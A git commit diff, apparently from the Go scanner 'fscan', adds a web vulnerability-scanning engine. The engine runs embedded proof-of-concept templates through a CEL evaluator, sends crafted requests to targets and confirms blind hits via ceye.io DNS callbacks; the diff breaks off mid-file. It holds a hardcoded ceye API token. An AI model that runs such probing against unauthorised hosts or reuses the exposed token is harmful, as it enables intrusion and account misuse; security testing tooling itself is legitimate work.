commit message

This commit is contained in:
shadow1ng
2020-12-29 17:17:10 +08:00
commit df45b07ce8
97 changed files with 45329 additions and 0 deletions
+45
View File
@@ -0,0 +1,45 @@
package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http"
"time"
)
//go:embed pocs
var Pocs embed.FS
func WebScan(info *common.HostInfo) {
info.PocInfo.Target = info.Url
err := Execute(info.PocInfo)
if err != nil && info.Debug {
fmt.Println(info.Url, err)
}
}
func Execute(PocInfo common.PocInfo) error {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
return err
}
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
return err
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
}
if PocInfo.PocName != "" {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
} else {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, "")
}
return nil
}
+222
View File
@@ -0,0 +1,222 @@
package lib
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
"regexp"
"sort"
"strings"
"sync"
"time"
)
var (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
ceyeDomain = "7wtusr.ceye.io"
)
type Task struct {
Req *http.Request
Poc *Poc
}
func checkVul(tasks []Task, ticker *time.Ticker) <-chan Task {
var wg sync.WaitGroup
results := make(chan Task)
for _, task := range tasks {
wg.Add(1)
go func(task Task) {
defer wg.Done()
<-ticker.C
isVul, err := executePoc(task.Req, task.Poc)
if err != nil {
return
}
if isVul {
results <- task
}
}(task)
}
go func() {
wg.Wait()
close(results)
}()
return results
}
func CheckMultiPoc(req *http.Request, Pocs embed.FS, rate int,pocname string) {
rateLimit := time.Second / time.Duration(rate)
ticker := time.NewTicker(rateLimit)
defer ticker.Stop()
var tasks []Task
for _, poc := range LoadMultiPoc(Pocs,pocname) {
task := Task{
Req: req,
Poc: poc,
}
tasks = append(tasks, task)
}
for result := range checkVul(tasks, ticker) {
result := fmt.Sprintf("%s %s", result.Req.URL, result.Poc.Name)
common.LogSuccess(result)
}
}
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
env, err := NewEnv(&c)
if err != nil {
fmt.Println("environment creation error: %s\n", err)
return false, err
}
variableMap := make(map[string]interface{})
req, err := ParseRequest(oReq)
if err != nil {
//fmt.Println(err)
return false, err
}
variableMap["request"] = req
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
for k := range p.Set {
keys = append(keys, k)
}
sort.Strings(keys)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
if err != nil {
return false, err
}
variableMap["payload"] = fmt.Sprintf("%v", out)
}
success := false
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
break
}
success = true
}
return success, nil
}
func doSearch(re string, body string) map[string]string {
r, err := regexp.Compile(re)
if err != nil {
return nil
}
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
paramsMap[name] = result[i]
}
}
return paramsMap
}
return nil
}
func newReverse() *Reverse {
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
sub := RandomStr(randSource, letters, 8)
if ceyeDomain == "" {
return &Reverse{}
}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
Url: ParseUrl(u),
Domain: u.Hostname(),
Ip: "",
IsDomainNameServer: false,
}
}
+469
View File
@@ -0,0 +1,469 @@
package lib
import (
"bytes"
"crypto/md5"
"encoding/base64"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"time"
)
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
ast, iss := env.Compile(expression)
if iss.Err() != nil {
//fmt.Println("compile: ", iss.Err())
return nil, iss.Err()
}
prg, err := env.Program(ast)
if err != nil {
//fmt.Println("Program creation error: %v", err)
return nil, err
}
out, _, err := prg.Eval(params)
if err != nil {
//fmt.Println("Evaluation error: %v", err)
return nil, err
}
return out, nil
}
func UrlTypeToString(u *UrlType) string {
var buf strings.Builder
if u.Scheme != "" {
buf.WriteString(u.Scheme)
buf.WriteByte(':')
}
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
buf.WriteString("//")
}
if h := u.Host; h != "" {
buf.WriteString(u.Host)
}
}
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
buf.WriteByte('/')
}
if buf.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
buf.WriteString("./")
}
}
buf.WriteString(path)
if u.Query != "" {
buf.WriteByte('?')
buf.WriteString(u.Query)
}
if u.Fragment != "" {
buf.WriteByte('#')
buf.WriteString(u.Fragment)
}
return buf.String()
}
type CustomLib struct {
envOptions []cel.EnvOption
programOptions []cel.ProgramOption
}
func NewEnvOption() CustomLib {
c := CustomLib{}
c.envOptions = []cel.EnvOption{
cel.Container("lib"),
cel.Types(
&UrlType{},
&Request{},
&Response{},
&Reverse{},
),
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("bmatches",
decls.NewInstanceOverload("string_bmatches_bytes",
[]*exprpb.Type{decls.String, decls.Bytes},
decls.Bool)),
decls.NewFunction("md5",
decls.NewOverload("md5_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.Int)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("substr",
decls.NewOverload("substr_string_int_int",
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
decls.String)),
decls.NewFunction("wait",
decls.NewInstanceOverload("reverse_wait_int",
[]*exprpb.Type{decls.Any, decls.Int},
decls.Bool)),
decls.NewFunction("icontains",
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
),
}
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
&functions.Overload{
Operator: "string_bmatch_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
}
ok, err := regexp.Match(string(v1), v2)
if err != nil {
return types.NewErr("%v", err)
}
return types.Bool(ok)
},
},
&functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
},
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
},
&functions.Overload{
Operator: "randomLowercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
}
return types.String(randomLowercase(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
},
},
&functions.Overload{
Operator: "base64_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString(v))
},
},
&functions.Overload{
Operator: "base64Decode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "base64Decode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "urlencode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urlencode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urldecode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "urldecode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "substr_string_int_int",
Function: func(values ...ref.Val) ref.Val {
if len(values) == 3 {
str, ok := values[0].(types.String)
if !ok {
return types.NewErr("invalid string to 'substr'")
}
start, ok := values[1].(types.Int)
if !ok {
return types.NewErr("invalid start to 'substr'")
}
length, ok := values[2].(types.Int)
if !ok {
return types.NewErr("invalid length to 'substr'")
}
runes := []rune(str)
if start < 0 || length < 0 || int(start+length) > len(runes) {
return types.NewErr("invalid start or length to 'substr'")
}
return types.String(runes[start : start+length])
} else {
return types.NewErr("too many arguments to 'substr'")
}
},
},
&functions.Overload{
Operator: "reverse_wait_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
reverse, ok := lhs.Value().(*Reverse)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
}
timeout, ok := rhs.Value().(int64)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
}
return types.Bool(reverseCheck(reverse, timeout))
},
},
&functions.Overload{
Operator: "icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
),
}
return c
}
// 声明环境中的变量类型和函数
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
for k, v := range args {
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
if strings.HasPrefix(v, "randomInt") {
d = decls.NewIdent(k, decls.Int, nil)
} else if strings.HasPrefix(v, "newReverse") {
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
} else {
d = decls.NewIdent(k, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(d))
}
}
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}
func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" {
return false
}
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
return true
}
return false
}
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)
randBytes := make([]byte, n)
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
+171
View File
@@ -0,0 +1,171 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/tls"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"time"
)
var (
client *http.Client
clientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
//MaxConnsPerHost: 0,
MaxIdleConns: 1000,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
clientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
}
clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
return nil
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = client.Do(req)
} else {
oResp, err = clientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
+354
View File
@@ -0,0 +1,354 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: http.proto
package lib
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
type UrlType struct {
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *UrlType) Reset() { *m = UrlType{} }
func (m *UrlType) String() string { return proto.CompactTextString(m) }
func (*UrlType) ProtoMessage() {}
func (*UrlType) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{0}
}
func (m *UrlType) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_UrlType.Unmarshal(m, b)
}
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
}
func (m *UrlType) XXX_Merge(src proto.Message) {
xxx_messageInfo_UrlType.Merge(m, src)
}
func (m *UrlType) XXX_Size() int {
return xxx_messageInfo_UrlType.Size(m)
}
func (m *UrlType) XXX_DiscardUnknown() {
xxx_messageInfo_UrlType.DiscardUnknown(m)
}
var xxx_messageInfo_UrlType proto.InternalMessageInfo
func (m *UrlType) GetScheme() string {
if m != nil {
return m.Scheme
}
return ""
}
func (m *UrlType) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *UrlType) GetHost() string {
if m != nil {
return m.Host
}
return ""
}
func (m *UrlType) GetPort() string {
if m != nil {
return m.Port
}
return ""
}
func (m *UrlType) GetPath() string {
if m != nil {
return m.Path
}
return ""
}
func (m *UrlType) GetQuery() string {
if m != nil {
return m.Query
}
return ""
}
func (m *UrlType) GetFragment() string {
if m != nil {
return m.Fragment
}
return ""
}
type Request struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Request) Reset() { *m = Request{} }
func (m *Request) String() string { return proto.CompactTextString(m) }
func (*Request) ProtoMessage() {}
func (*Request) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{1}
}
func (m *Request) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Request.Unmarshal(m, b)
}
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
}
func (m *Request) XXX_Merge(src proto.Message) {
xxx_messageInfo_Request.Merge(m, src)
}
func (m *Request) XXX_Size() int {
return xxx_messageInfo_Request.Size(m)
}
func (m *Request) XXX_DiscardUnknown() {
xxx_messageInfo_Request.DiscardUnknown(m)
}
var xxx_messageInfo_Request proto.InternalMessageInfo
func (m *Request) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Request) GetMethod() string {
if m != nil {
return m.Method
}
return ""
}
func (m *Request) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Request) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Request) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Response struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Response) Reset() { *m = Response{} }
func (m *Response) String() string { return proto.CompactTextString(m) }
func (*Response) ProtoMessage() {}
func (*Response) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{2}
}
func (m *Response) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Response.Unmarshal(m, b)
}
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
}
func (m *Response) XXX_Merge(src proto.Message) {
xxx_messageInfo_Response.Merge(m, src)
}
func (m *Response) XXX_Size() int {
return xxx_messageInfo_Response.Size(m)
}
func (m *Response) XXX_DiscardUnknown() {
xxx_messageInfo_Response.DiscardUnknown(m)
}
var xxx_messageInfo_Response proto.InternalMessageInfo
func (m *Response) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Response) GetStatus() int32 {
if m != nil {
return m.Status
}
return 0
}
func (m *Response) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Response) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Response) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Reverse struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Reverse) Reset() { *m = Reverse{} }
func (m *Reverse) String() string { return proto.CompactTextString(m) }
func (*Reverse) ProtoMessage() {}
func (*Reverse) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{3}
}
func (m *Reverse) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Reverse.Unmarshal(m, b)
}
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
}
func (m *Reverse) XXX_Merge(src proto.Message) {
xxx_messageInfo_Reverse.Merge(m, src)
}
func (m *Reverse) XXX_Size() int {
return xxx_messageInfo_Reverse.Size(m)
}
func (m *Reverse) XXX_DiscardUnknown() {
xxx_messageInfo_Reverse.DiscardUnknown(m)
}
var xxx_messageInfo_Reverse proto.InternalMessageInfo
func (m *Reverse) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Reverse) GetDomain() string {
